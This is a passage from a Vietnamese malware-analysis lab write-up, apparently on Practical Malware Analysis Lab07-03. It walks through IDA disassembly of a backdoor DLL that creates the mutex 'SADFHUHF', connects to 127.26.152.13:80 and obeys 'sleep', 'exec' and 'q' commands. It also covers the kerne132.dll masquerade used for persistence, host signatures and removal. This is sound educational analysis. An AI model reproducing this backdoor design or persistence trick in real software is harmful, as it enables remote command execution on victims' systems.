Nếu sau khi chạy mã độc và muốn khôi phục lại trạng thái ban đầu, bạn có thể
sử dụng IDA để sửa lại phần mã đã thay đổi từ
kernel32.dll
thành
kerne132.dll
và ngược lại, thay thế
kerne132.dll
bằng
kernel32.dll
trong
Lab07-03.exe
. Điều này khiến bạn tự hỏi liệu nó có thể khôi phục lại được trạng thái
ban đầu hay không.
3.6 - Phân tích tĩnh nâng cao Lab07-03.dll
3.6.1. Cấp phát bộ nhớ trên stack và so sánh giá trị fdwReason
Trước khi phân tích chi tiết, tôi đã xem qua và thấy rằng chương trình tạo mutex và thực hiện giao tiếp qua socket đến một địa chỉ IP cụ thể.
Bền lề:
_alloca_probe thực hiện các kiểm tra bảo mật bổ sung ngoài alloca để ngăn ngừa tràn ngăn xếp.
_alloca_probe không truyền đối số qua lệnh push, không giống như các hàm hiện có.
Bên lề:
DllMain được gọi bởi hệ thống khi DLL được tải hoặc giải phóng. Giá trị được truyền dưới dạng tham số là fdwReason, thể hiện loại sự kiện đã được gọi dưới dạng hằng số.
DLL_PROCESS_ATTACH (1): Giá trị khi DLL được tải vào.
DLL_PROCESS_DETACH (0): Giá trị khi DLL được giải phóng.
3.6.2. Khởi tạo bộ đệm, tạo mutex và khởi tạo thư viện Winsock
Bên lề:
rep stosd
: Lệnh này lặp lại việc lưu giá trị của
eax
vào
vị trí bộ nhớ mà edi
trỏ đến, theo số lần mà thanh
ghi
ecx
chỉ
định. Hiện tại,
eax
đã
được thiết lập thành 0 thông qua phép toán XOR, vì vậy mục đích là để khởi
tạo bộ nhớ bằng 0.
stosw
: Lệnh này lưu giá trị 16 bit thấp của thanh ghi
eax
vào
vị trí bộ nhớ mà
edi
trỏ
đến. Trong trường hợp này, giá trị 16 bit 0 sẽ được lưu vào khu vực bộ nhớ
mà
edi
trỏ
đến.
Quá trình này giống như những gì chúng ta đã thấy trong bài thực hành trước. Một mutex có tên cụ thể sẽ được mở, sau đó kiểm tra xem mutex đó có tồn tại hay không. Nếu không, mutex mới sẽ được tạo ra. Kết quả là mutex có tên "SADFHUHF" sẽ được tạo ra.
Bên lề:
WSAData
là con trỏ trỏ đến cấu trúc dữ liệu lưu trữ thông tin khởi tạo của Windows
Sockets.
https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
C++ int WSAStartup( [in] WORD wVersionRequired, [out] LPWSADATA lpWSAData );
3.6.3. Giao tiếp qua Socket
Bên lề:
name.sa_family là một thành phần trong cấu trúc địa chỉ socket (sockaddr). Nó được sử dụng để xác định xem địa chỉ socket là IPv4 hay IPv6, hoặc để khởi tạo địa chỉ socket. Giá trị 2 ở đây chỉ ra rằng địa chỉ socket là IPv4.
Bên lề:
Trong name.sa_data, chứa số hiệu cổng và địa chỉ socket ở dạng nhị phân.
sa_data[0] và sa_data[1] lưu số hiệu cổng, còn từ sa_data[2] trở đi lưu địa chỉ socket.
Thông thường, sa_data có kích thước 14 byte.
mov ebp, ds:strncmp / mov ebx, ds:CreateProcessA
: Lưu địa chỉ của từng hàm vào các thanh ghi để sử dụng cho việc gọi hàm
sau này.
mov edi, offset buf ; "hello": Lưu chuỗi "hello" vào thanh ghi edi. or ecx, 0FFFFFFFFh xor eax, eax push 0 ; flags repne scasb not ecx dec ecx
→ Đo chiều dài chuỗi "Hello". Khác với Lab07-03.exe, lệnh
dec ecx
sẽ loại bỏ ký tự null khỏi độ dài chuỗi.
push ecx; len / push offset buf; "hello" / push esi; s
: Truyền các tham số vào hàm
send
.
call ds:send
: Gửi chuỗi "hello" thông qua hàm
send
.
Bên lề:
Hàm
send
sẽ
trả về số byte đã gửi nếu thành công. Nếu thất bại, nó sẽ trả về
SOCKET_ERROR = -1
.
Bên lề:
Sau khi gọi
shutdown
, thực hiện lệnh tiếp theo.
Hàm
recv
là
hàm nhận dữ liệu.
Nó có thể nhận tối đa 1000h =
4096 byte và lưu dữ liệu đã nhận
vào
eax
(địa
chỉ của buf
).
Esi
là
handle của socket.
Sau khi truyền các tham số trên, hàm
recv
được
gọi. Nếu thất bại, giá trị trả về sẽ là -1.
Nếu giá trị trả về
eax
nhỏ hơn
hoặc bằng 0, chương trình sẽ nhảy.
Nếu nhận dữ liệu thành công, giá trị trả về sẽ khác 0, vì vậy sẽ không nhảy.
3.6.3.. Sự khác biệt trong thực hiện tùy thuộc vào giá trị dữ liệu nhận được (sleep / exec)
lea ecx, [esp+1208h+buf]
lấy địa chỉ của bộ đệm nhận và lưu vào
ecx
. Sau đó, so sánh 5 byte đầu tiên với chuỗi "sleep". Nếu chúng khớp,
eax
sẽ trở
thành 0, vì vậy không nhảy mà thực hiện lệnh tiếp theo.
Chương trình sẽ ngủ trong 60000h (= 393 giây). Sau đó, nó sẽ nhảy trở lại phần gửi (send).
Bên lề:
Trong phần giải thích của cuốn sách này, 60000h được giải thích là 60 giây. Nếu giá trị 60000 là hệ thập phân thì đó là câu trả lời đúng, nhưng ký hiệu 60000h có nghĩa là hệ thập lục phân. Nghĩa là, khi chuyển đổi, nó sẽ ra 393,216 mili giây, vậy mà không hiểu sao lại có kết quả là 60 giây. Nếu ai biết, xin vui lòng để lại bình luận.
Nếu chuỗi nhận được không phải là "sleep", chương trình sẽ phân nhánh và so sánh xem 4 byte đầu tiên có khớp với chuỗi "exec" hay không. Nếu khớp, chương trình sẽ không nhảy. "Exec" được sử dụng khi thực thi chương trình hoặc lệnh.
-
mov ecx, 11h
: Gán giá trị 11h (= 17) vàoecx
. Đây là kích thước của cấu trúcStartupInfo
. -
lea edi, [esp+1208h+StartupInfo]
: Lưu địa chỉ củaStartupInfo
vàoedi
. -
rep stosd
: Lặp lại việc lưu giá trịeax
vào vị trí bộ nhớ màedi
trỏ đến, lặp lại số lần theo giá trị củaecx
. Hiện tại,eax
có giá trị 0, nên cấu trúcStartupInfo
sẽ được điền bằng 0. Mục đích là để khởi tạo cấu trúc này. -
Các lệnh
lea
vàpush
: Là quá trình truyền các tham số cần thiết để thực thi hàmCreateProcessA
. -
lea edx, [esp+1224h+CommandLine]
: Trỏ đến đường dẫn của tiến trình sẽ tạo.
Bên lề:
Vấn đề là không thể tìm ra giá trị được lưu trữ trong
CommandLine
. Khi kiểm tra Lab07-03 bằng lệnh
strings
, không thấy chuỗi nào thể hiện đường dẫn tệp. Do đó, tôi nghĩ rằng cơ hội
duy nhất để lấy chuỗi đường dẫn này là khi nhận dữ liệu thông qua lệnh
recv
. Hãy quay lại phần khai báo biến để kiểm tra lại.
buf
và
CommandLine
rất gần nhau. Hãy thử double click vào buf
để kiểm tra.
Khi gọi hàm recv, kích thước tối đa của byte có thể đọc được là 4096. Địa chỉ hiện tại có dạng giảm dần, tức là khi địa chỉ lớn hơn sẽ dần xuống dưới trong hình vẽ. Điều này có nghĩa là CommandLine nằm trong buf. Vì CommandLine và buf chỉ khác nhau 5 byte, và trước đó đã so sánh chuỗi trong bộ đệm nhận với hàm strcmp, có thể suy đoán rằng 5 byte đầu tiên của buf` chứa các chuỗi như ‘sleep’, ‘exec’, ‘p’, và từ byte tiếp theo sẽ là đường dẫn của tệp tin thực thi cần chạy.
-
mov [esp+1230h+StartupInfo.cb], 44h ; 'D'
: Lưu giá trị '68' vào trườngcb
.cb
là trường thể hiện kích thước của cấu trúcStartupInfo
. -
call ebx ; CreateProcessA
: Gọi hàmCreateProcessA
để tạo tiến trình. -
jmp loc_100010E9
: Quay lại phầnsend
.
Nếu chuỗi ký tự không phải là sleep hoặc exec
So sánh xem chuỗi ký tự có phải là 'q' hay không.
Nếu không phải, chương trình sẽ sleep trong 60000hms, sau đó nhảy đến phần send để tiếp tục lặp lại quá trình gửi chuỗi hello và nhận chuỗi ký tự.
Nếu đúng, chương trình sẽ nhảy đến loc_100011D0.
Đóng handle, tắt socket và giải phóng tài nguyên đã được sử dụng bởi thư viện Winsock. Cuối cùng, DLLMain sẽ kết thúc.
4. Tổng kết về Lab07-03.dll
-
Mở mutex có tên 'SADFHUHF', kiểm tra xem mutex này có tồn tại hay không. Nếu không tồn tại, sẽ tạo mutex với tên này.
-
Khởi tạo thư viện Winsock và socket.
-
Kết nối đến 127.26.152.13 qua cổng 80.
-
Gửi chuỗi ký tự "hello".
-
Nhận dữ liệu và kiểm tra xem chuỗi nhận được có phải là 'sleep', 'exec', hay 'q'.
-
Nếu là 'sleep', chương trình sẽ sleep trong 393 giây.
-
Nếu là 'exec', chương trình sẽ sử dụng giá trị sau 5 byte đầu tiên trong buffer nhận được làm tham số CommandLine và thực thi một tiến trình.
-
Nếu là 'q', chương trình sẽ giải phóng tài nguyên và kết thúc DllMain.
5. Trả lời câu hỏi
5.1. Cơ chế nào giúp chương trình này duy trì tính bền bỉ, cho phép nó tiếp tục thực thi mỗi khi máy tính được khởi động lại?
Chương trình này ngụy trang tất cả các tệp Lab07-03.dll thành kerne132.dll, sau đó chỉnh sửa các tệp thực thi (.exe) để import kerne132.dll (thực chất là lab07-03.dll). Vì vậy, nếu không xóa hết các tệp thực thi hoặc phát hiện và xóa kerne132.dll, chương trình sẽ duy trì tính bền bỉ.
5.2. Hai dấu hiệu nhận diện tốt trên máy chủ (host-based signature) cho phần mềm độc hại này là gì?
1. Mutex có tên 'SADFHUHF'. Nếu phát hiện mutex này tồn tại trên hệ thống, đây là dấu hiệu của phần mềm độc hại.2. Tên tệp kerne132.dll. Tệp này không phải là thành phần hợp pháp của hệ thống và có thể được nhận diện như một phần mềm độc hại nếu xuất hiện trong hệ thống.
5.3. Mục đích của chương trình này là gì?
Mục đích của chương trình này là tạo ra một cửa hậu (backdoor).
Ngoài ra, chương trình còn lây nhiễm để tất cả các tệp thực thi (.exe) đều import
kerne132.dll, tệp này chứa chức năng cửa hậu. Điều này khiến việc loại bỏ chương trình
trở nên vô cùng khó khăn.
5.4. Làm thế nào để loại bỏ phần mềm độc hại này sau khi đã được cài đặt?
- Nếu có điểm khôi phục (restore point) trước khi cài đặt phần mềm độc hại, có thể loại bỏ bằng cách khôi phục lại hệ thống về trạng thái trước đó.
- Hoặc, có thể chỉnh sửa lại mã Lab07-03 để sửa lại tệp exe, khiến nó import kernel32.dll (tệp hợp lệ) thay vì kerne132.dll (tệp độc hại).
(Câu trả lời bổ sung từ sách) Đổi tên tệp kernel32.dll giả mạo thành kerne132.dll rồi ghi đè tệp DLL độc hại bằng một tệp DLL hợp lệ.